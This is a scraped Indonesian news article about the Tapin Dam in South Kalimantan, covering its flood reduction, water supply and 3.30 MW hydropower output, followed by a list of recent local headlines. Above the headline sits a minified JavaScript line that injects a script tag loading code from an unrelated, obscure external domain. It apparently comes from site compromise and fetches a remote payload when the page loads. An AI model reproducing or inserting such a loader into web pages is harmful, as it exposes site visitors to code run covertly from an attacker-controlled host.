(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Bendungan Tapin Reduksi Banjir 107 Meter Kubik/Detik, Hasilkan Listrik 3,30 MW


KANALKALIMANTAN.COM, BANJARBARU – Bendungan Tapin menunggu diresmikan pada pertengahan tahun 2020. Salah satu Proyek Strategis Nasional (PSN) di Kalsel dapat menyediakan air baku untuk wilayah Rantau, Kabupaten Tapin sebesar 500 liter/detik.

Kepala Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Kalsel Roy Rizali Anwar, Bendungan Tapin nantinya bila sudah beroperasional mampu mereduksi banjir sebesar 107 m3/detik, konservasi air (ground water recharge). Juga sebagai destinasi wisata di kawasan Daerah Aliran Sungai (DAS) Tapin, dan sumber air untuk PLTA sebesar 3,30 MW.

“Bendungan Tapin juga dilengkapi akses jalan masuk sepanjang 21 kilometer dengan lebar 7 meter, kantor pengelola, rumah dinas, tempat ibadah, toilet, gardu pandang, dan rumah genset,” sebut Roy, Kamis (6/2/2020). ⁣

Untuk bendungan utama, bendungan ini memiliki tinggi 70 meter dengan konstruksi terowongan pengelak sepanjang 430 meter, cofferdam setinggi 29 meter serta spillway (pelimpahan) sepanjang 234 meter dan lebar 10-19 meter. ⁣

Masih menurut Kadis PUPR Kalsel, meski menggunakan APBN murni, namun pembangunan Bendungan Tapin tidak terlepas dari peran besar Pemprov Kalsel, Pemkab Tapin, para anggota DPRD di kabupaten, provinsi dan di DPR RI serta masyarakat setempat dari dulu sampai sekarang. ⁣

“Mereka bahu-membahu memperjuangkan bendungan ini di tingkat pusat dari sejak usulan pembangunan, perencanaan dan hingga selesai nantinya. Juga, warga masyarakat sekitar yang wilayahnya dijadikan bendungan dengan ganti rugi yang disepakati,” beber Roy.

Baca juga: Mega Proyek Bendungan Tapin Sudah 95 Persen, akan Diresmikan Pertengahan 2020

Kehadiran bendungan ini tentu saja akan sangat berpengaruh pada ketahanan pangan banua dalam kerangka menjadi gerbang ibukota Negara. Kabupaten Tapin diharapkan menjadi salah satu lumbung pangan banua, selain Kabupaten Banjar yang mampu menyangga dan menyuplai kebutuhan pangan ibu kota negara nantinya. ⁣

Tidak  kalah pentingya adalah, daya listrik PLTA yg dihasilkan nantinya sebesar 3,30 megawatt. Diharapkan menjadi pelapis PLTA Riam Kanan (30 megawatt) menyuplai kebutuhan listrik Kalselteng. (kanalkalimantan.com/rico)

 

 

Reporter : Rico
Editor : Bie

 


Desy Arfianty

Recent Posts

Kabur saat Diperiksa di Kejari Banjar, Akhirnya Polisi Tangkap Kades P di Tanbu

KANALKALIMANTAN.COM, MARTAPURA - Tersangka kasus dugaan korupsi, Kepala Desa Sungai Alat Kecamatan Astambul, P (45)… Read More

10 menit ago

BPBD Banjarmasin Catat Dua Kebakaran dalam Sehari

KANALKALIMANTAN.COM, BANJARMASIN - Puluhan warga Banjarmasin harus kehilangan tempat tinggal dan mengungsi akibat kebakaran permukiman… Read More

20 menit ago

Jembatan Guntung Manggis – Trikora Sudah Dilintasi, Dishub Kalsel Masih Kaji Rekayasa Lalin

KANALKALIMANTAN.COM, BANJARBARU - Upaya memecah masalah lalu lintas di perempatan Jalan Guntung Manggis - Trikora… Read More

59 menit ago

Diprediksi 3 Juta Lebih Jemaah Ikuti Rutin Malam Senin 5 Rajab di Sekumpul

Polda Kalsel Turunkan 1.200 Personel, Amankan Kabupaten Banjar dan Kota Banjarbaru Read More

1 jam ago

Bawa Sabu 49 Gram, Dua Lelaki Ditangkap di Pemurus Luar

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More

15 jam ago

Parkir Inap Kawasan Bandara Syamsudin Noor Meningkat saat Libur Nataru

KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More

22 jam ago

This website uses cookies.